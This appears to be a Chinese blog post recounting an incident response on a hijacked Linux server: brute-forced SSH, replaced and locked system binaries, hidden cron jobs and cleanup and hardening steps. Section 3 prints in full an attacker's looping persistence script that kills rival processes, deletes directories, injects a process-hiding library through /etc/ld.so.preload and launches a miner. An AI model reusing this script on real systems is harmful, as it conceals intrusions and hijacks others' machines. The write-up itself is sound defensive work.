Linux服务器被入侵怎么排查？ps命令被替换与恶意定时任务溯源实录

一、服务器入侵现象

近期，朋友的服务器（自己搭建的网站）疑似遭遇了入侵。具体现象是：服务器 CPU 资源长期占用 100%，负载居高不下，上面部署的服务无法正常对外提供访问。

朋友自己折腾了一阵子也没搞定。说实在的，我本来不算安全方向的，但朋友开出了“一顿海底捞”的条件，我只好硬着头皮上手排查了。

二、服务器排查和处理

2.1、服务器被入侵的可能原因

1. 服务器 SSH 密码设置得太简单。
2. 腾讯云安全组放行范围过大。
3. 使用了宝塔面板，面板密码也比较简单（这个应该不是主要入侵入口）。

2.2、排查和处理步骤

1、用 ps -ef / top 找出占用资源最大的服务

问题现象：ps 和 top 命令已经被替换了。

2、查找详细的入侵痕迹

执行 last 或者 grep 'Accepted' /var/log/secure

[root@VM-12-12-centos ~]# grep 'Accepted'  /var/log/secure
Aug 26 21:51:37 VM-12-12-centos sshd[19822]: Accepted password for root from 34.215.138.2 port 36720 ssh2
Aug 27 08:52:05 VM-12-12-centos sshd[3053]: Accepted password for root from 127.0.0.1 port 57534 ssh2
Aug 27 08:58:50 VM-12-12-centos sshd[7038]: Accepted password for root from 127.0.0.1 port 57548 ssh2
Aug 27 09:10:02 VM-12-12-centos sshd[14830]: Accepted publickey for lighthouse from 106.55.203.49 port 44204 ssh2: RSA SHA256:123456/UIbl8
Aug 27 09:10:03 VM-12-12-centos sshd[14913]: Accepted publickey for lighthouse from 81.69.102.49 port 60820 ssh2: RSA SHA256:123456/UIbl8
Aug 27 09:14:08 VM-12-12-centos sshd[17307]: Accepted password for root from 127.0.0.1 port 57690 ssh2
Aug 27 09:34:22 VM-12-12-centos sshd[29150]: Accepted publickey for lighthouse from 106.55.203.55 port 38044 ssh2: RSA SHA256:123456/UIbl8
Aug 27 09:34:23 VM-12-12-centos sshd[29233]: Accepted publickey for lighthouse from 81.69.102.60 port 51190 ssh2: RSA SHA256:123456/UIbl8

lighthouse 是腾讯云轻量服务器。

在这里可以看到，有境外 IP 34.215.138.2 成功登录了，这不是我们正常使用的地址。在 /var/log/secure 日志里，这个 IP 尝试登录不到 500 次就破解成功了。

处理措施：

这里我们立即采取了第一批措施：

1. 在腾讯云安全组限制 SSH 的登录 IP，之前安全组对 SSH 是放行所有 IP 的。
2. 修改 SSH ROOT 密码。
3. 备份 /root/.ssh/authorized_keys 并清空。

[root@VM-12-12-centos ~]# cp -rp   /root/.ssh/authorized_keys  /root/.ssh/authorized_keys.bak
cp: cannot create regular file '/root/.ssh/authorized_keys.bak': Permission denied

这时就遇到了权限问题，这个稍后再展开。因为当时已经限制了源 IP，问题不算紧迫。

3、查看最近新增的用户

问题现象：执行 cat /etc/passwd

处理措施：锁定可疑用户

[root@VM-12-12-centos ~]# usermod  -L  sys1

4、检查定时任务与开机启动脚本

朋友之前重启过服务器，发现重启后过一会儿负载才升高。我判断入侵者应该在定时任务和启动脚本里放了东西。

问题现象：先看定时任务。

crond 读取配置文件时会从以下几个路径读取：

• /var/spool/cron/：由 crontab -e 写入，配置文件无需指定用户
• /etc/crontab：只能 root 编辑，配置文件需指定用户
• /etc/cron.d/：在此文件夹下创建定时任务文件，配置文件需指定用户
• /etc/cron.*

/var/spool/cron/ 未找到内容（后面会说到这里有障眼法）。

/etc/crontab 也没找到内容（同样是障眼法）。

但从 /var/log/cron 日志里，我持续看到有任务在执行，每 5 分钟一次。

Aug 27 22:00:01 VM-12-12-centos CROND[16839]: (root) CMD (/sbin/httpss >/dev/null 2>&1;^M                                                    )
Aug 27 22:00:01 VM-12-12-centos CROND[16840]: (root) CMD (/usr/local/qcloud/YunJing/YDCrontab.sh > /dev/null 2>&1)
Aug 27 22:00:01 VM-12-12-centos CROND[16842]: (root) CMD (/usr/lib/mysql/mysql;^Mno crontab for root                                                    )

Aug 27 22:05:01 VM-12-12-centos CROND[17486]: (root) CMD (/usr/lib/mysql/mysql;^Mno crontab for root                                                    )
Aug 27 22:05:01 VM-12-12-centos CROND[17487]: (root) CMD (/sbin/httpss >/dev/null 2>&1;^M                                                    )

处理措施：

先把 /usr/lib/mysql/mysql 和 /sbin/httpss 删掉。删除时仍然提示没有权限。我判断这些文件被加了锁，于是尝试解锁，结果发现 chattr 也被替换并锁住了，暂时无法继续。

接着看开机启动脚本 /etc/rc.local，也发现了一个可疑脚本。

[root@VM-12-12-centos ~]# cat /etc/rc.local
#!/bin/bash

# THIS FILE IS ADDED FOR COMPATIBILITY PURPOSES
#
# It is highly advisable to create own systemd services or udev rules
# to run scripts during boot instead of using this file.
#
# In contrast to previous versions due to parallel execution during boot
# this script will NOT be run after all other services.
#
# Please note that you must run 'chmod +x /etc/rc.d/rc.local' to ensure
# that this script will be executed during boot.

/usr/bin/0f4f80f9ab start

这个文件看起来并不存在，我们先把这一行注释掉了。

5、还原被替换的 top、ps、chattr、lsattr

• 首先从相同版本的机器拷贝 chattr、lsattr。必须先处理这两个，因为 top 和 ps 都被锁住了。
• 将文件上传至 /tmp 目录，增加可执行权限，然后先给 /usr/bin/chattr 解除锁定。

/tmp/chattr -ai /usr/bin/chattr

执行完之后，发现还是不能替换 /usr/bin/chattr。折腾了一段时间才反应过来，入侵者不仅给文件加了锁，还给 /usr/bin/ 目录本身加了锁。

解锁目录：

/tmp/chattr -ai /usr/bin/

这下才能把 /usr/bin/chattr 替换掉。接下来参考同样的思路，把 top、ps、lsattr 逐个还原。

部分截图：

三、本次入侵值得注意的点

1、ps、top、chattr、lsattr 被替换

当这些命令被替换，并且想还原又还原不了时，可以从同版本机器拷贝相同命令放到其他目录，用这些命令来解除入侵者替换并锁定的文件。要注意的是，有些入侵者不仅给文件加锁，还会给文件所在目录加锁。我在这上面困惑了挺久。

2、文件内容隐藏

前面执行 crontab -l 和 cat 查看 /etc/cron.d/ 下的文件时，显示没有内容。但实际上定时任务是存在的。

示例：

为什么 cat/more 看不到内容？后来我用 file 查看了这个文件，发现文件属性是 data，里面包含的特殊字符导致内容被隐藏了。

3、其中一个恶意脚本

[root@VM-12-12-centos etc]# cat /.Recycle_bin/_bt_etc_bt_.sftp_bt_.sh_t_1661768469.9859464
#!/bin/sh
while test 1 = 1
do
sleep 30
pkill -f main
killall main
killall sprshduerjsaia
pkill -f sprshduerjsaia
killall dr64
pkill -f dr64
killall .report_system
pkill -f .report_system
killall sshc
pkill -f sshc
pkill -f memory
killall memory
killall warmup
killall koko
killall kthreaddk
killall systemc
killall cront
killall xm64_linux
killall /var/tmp/j/./intelshell
pkill -f dos32
pkill -f dos64
pkill -f .name
pkill -f /usr/sbin/dbus
pkill -f systemd-boot-check-no-failures
killall .report_system
pkill -f .report_system
pkill -f keep-alive
pkill -f linu
pkill -f zapppp
killall [scan]
killall [ext4]
pkill -f xm64_linux
pkill -f ddrirc
killall ./-bash
pkill -f ./-bash
killall kworkers
killall dbus
pkill -f biden1
pkill -f cpuminer-sse2
killall work64
pkill -f work64
killall work32
pkill -f work32
killall aarch12
pkill -f aarch12
killall bash1
pkill -f bash1
killall intelshell
pkill -f intelshell
killall heaven
pkill -f heaven
killall .syst3md
pkill -f .syst3md
pkill -f apachelogs
killall .meinkampf
pkill -f .meinkampf
killall xri
pkill -f xri
killall koko
pkill -f koko
killall work32-deamon
pkill -f work32-deamon
killall work64 -deamon
pkill -f work64 -deamon
killall secure.sh
pkill -f secure.sh
kkillall auth.sh
pkill -f auth.sh
killall autoupdate
pkill -f kworkers
pkill -f autoupdate
killall ld-linux
pkill -f ld-linux
pkill -9 Donald
killall -9 Donald
pkill -f /usr/local/bin/pnscan
pkill -f /usr/bin/biden1
killall /usr/bin/biden1
killall r
killall trace
pkill -f minerd
killall minerd
pkill -f xm64
killall xm64
pkill -f sysdm
killall sysdm
pkill -f syst3md
killall syst3md
pkill -f xrig
killall xrig
pkill -f busybox
killall busybox
pkill -f joseph
killall joseph
pkill -f osama
killall osama
killall daemon
pkill -f obama1
killall obama1
pkill -f kswapd0
killall kswapd0
pkill -f jehgms
killall jehgms
pkill -f tsm
killall tsm
pkill -f rig
killall rig
pkill -f xmr
killall xmr
pkill -f playstation
killall playstation
pkill -f ld-linux-x86-64
killall ld-linux-x86-64
pkill -f ruckusapd
killall ruckusapd
pkill -f run64
killall run64
pkill -f pwnrig
killall pwnrig
pkill -f phpupdate
killall phpupdate
pkill -f sysupdate
killall sysupdate
pkill -f phpguard
killall phpguard
pkill -f firstpress
killall firstpress
pkill -f zerocert
killall zerocert
pkill -f masscan
killall masscan
pkill -f -bash
pkill -f spreadQlmnop
killall spreadQlmnop
killall -bash
pkill -f cnrig
killall cnrig
pkill -f netvhost
killall netvhost
pkill -f kthreadds
killall kthreadds
pkill -f kthreadd
killall kthreadd
pkill -f kdevtmpfsi
killall kdevtmpfsi
pkill -f linuxservice
killall linuxservice
pkill -f rtmonitor
killall rtmonitor
pkill -f dev
killall dev
pkill -f xmrig
killall xmrig
pkill -f master
killall master
killall sysmd
pkill -f sysmd
pkill -f sendmail
killall sendmail
pkill -f ld-musl-x86_64.
killall ld-musl-x86_64.
killall watchdog
pkill -f watchdog
pkill -f 32678
killall 32678
killall dhpcd
pkill -f dhpcd
killall linux_amd64
pkill -f linux_amd64
killall xredis
pkill -f xredis
killall Linux2.6
killall .chornyd
pkill -f .chornyd
killall Opera
pkill -f Opera
killall libertyd
pkill -f libertyd
killall rcubind
pkill -f rcubind
killall clamscan
pkill -f clamscan
killall pnscan
pkill -f pnscan
killall zzh
pkill -f zzh
killall bioser
pkill -f bioser
rm -rf /root/.configrc/
rm -rf /tmp/.X26-unix/
rm -rf /tmp/.bash/
rm -rf /root/.bash/
rm -rf /root/.cache/
rm -rf /tmp/.cache/
rm -rf /dev/shm/.ssh/
rm -rf /etc/.etcservice/linuxservice
rm -rf /etc/.vhost/netvhost
rm -rf /tmp/up.txt
rm -rf /var/tmp/.update/
rm -rf /var/tmp/.systemd/
rm -rf /usr/sbin/.bash./.bash/
rm -rf /etc/master
rm -rf /usr/bin/busybox
rm -rf /bin/sysmd
rm -rf /tmp/.mx/
rm -rf /dev/shm/.mx/
rm -rf /usr/bin/xrig
rm -rf /etc/32678
rm -rf /root/c3pool/
rm -rf /usr/bin/.sshd/
rm -rf /tmp/div
systemctl stop c3pool_miner.service
systemctl stop pwnriglhttps.service
systemctl stop cryto
systemctl stop scan
systemctl stop bot
systemctl stop myservice.service
systemctl stop netns.service
systemctl stop cryptsetup.service
echo /usr/local/lib/libprocesshider.so > /etc/ld.so.preload
lockr +ai /etc/ld.so.preload >/dev/null 2>&1
chmod 777 /usr/lib/mysql/*
/usr/lib/mysql/./mysql
done

这个脚本其实一直在反复改写 /etc/ld.so.preload 的内容，同时还会关闭一些扫描软件和系统服务。

在 Linux 操作系统的动态链接库加载过程中，动态链接器会读取 LD_PRELOAD 环境变量的值和默认配置文件 /etc/ld.so.preload 的文件内容，并将读取到的动态链接库进行预加载。即使程序不依赖这些动态链接库，LD_PRELOAD 环境变量和 /etc/ld.so.preload 配置文件中指定的动态链接库依然会被装载。它们的优先级比 LD_LIBRARY_PATH 环境变量所定义的链接库查找路径的优先级还要高，所以能够提前于用户调用的动态库载入。

——段落引自《警惕利用 Linux 预加载型恶意动态链接库的后门》

我已经删除了 /usr/local/lib/libprocesshider.so 文件，之后每次执行命令都会报这个错。

清空 /etc/ld.so.preload 后，情况好了一阵子。但没过多久又出现了同样的报错。再查看 /etc/ld.so.preload，里面又被写入了 /usr/local/lib/libprocesshider.so。我怀疑还有定时任务在捣乱，但找了一圈定时任务也没找到。后来在排查异常进程时，我看到了这个进程：

原来这个脚本一直在循环执行上面的内容。把进程 kill 掉，再删除脚本，问题就解决了。

四、本次服务器被入侵的一些启示

1. 用好云厂商的安全组。对关键端口，放行规则尽量最小化。
2. 服务器相关的密码尽量增加复杂度，尤其是 SSH 和面板密码。
3. 增加对关键文件的监控，可以用监控软件跟踪 md5 值：

• /etc/passwd
• /etc/shadow
• /etc/group
• /root/.bash_history
• /root/.ssh/authorized_keys
• /etc/ssh/sshd_config
• /etc/profile
• /var/spool/cron/root
• /etc/crontab
• /etc/ld.so.preload
• /etc/rc.local
• lsof
• ps
• netstat
• top
• ls
• pstree
• last
• history
• sudo
• password
• chattr
• lsattr

4. 服务器被入侵之后，需要怎么处理才是最好的。

参考：
https://cloud.tencent.com/document/product/296/9604
https://help.aliyun.com/document_detail/40994.htm

1. 服务器如果开放了 SSH 远程登录，可以设置限制登录（安全组或服务层面），只放行自己的 IP。查找详细入侵痕迹时，可以看 last 或者 grep 'Accepted' /var/log/secure。

/root/.ssh/authorized_keys 和 /etc/passwd 这些文件也要检查，将新建的可疑用户锁定。

2. 服务器如果可以关闭外网就尽量关闭。可以在安全组层面设置，或者通过路由、NAT 处理。
3. 先检查 ps、top 有没有被篡改。如果被篡改，从其他正常机器拷贝一份到服务器上，再执行查看异常进程。同时检查 /etc/ld.so.preload 是否被改动。如果有，清空内容，并把对应文件删除或重命名。

如果使用过程中遇到文件不可删、不可改的问题，需要用 chattr -ia 文件名。如果 chattr 也被篡改，就需要从别的机器拷贝，然后复原。

4. 如果上述方法没有找到，可以通过 netstat 间接查看异常连接，进而定位异常进程。
5. 检查开机启动和 crontab 相关的内容。
6. 检查异常进程。

以上就是这次入侵的处理过程和得到的一些小启示，后续有新的思路会继续补充。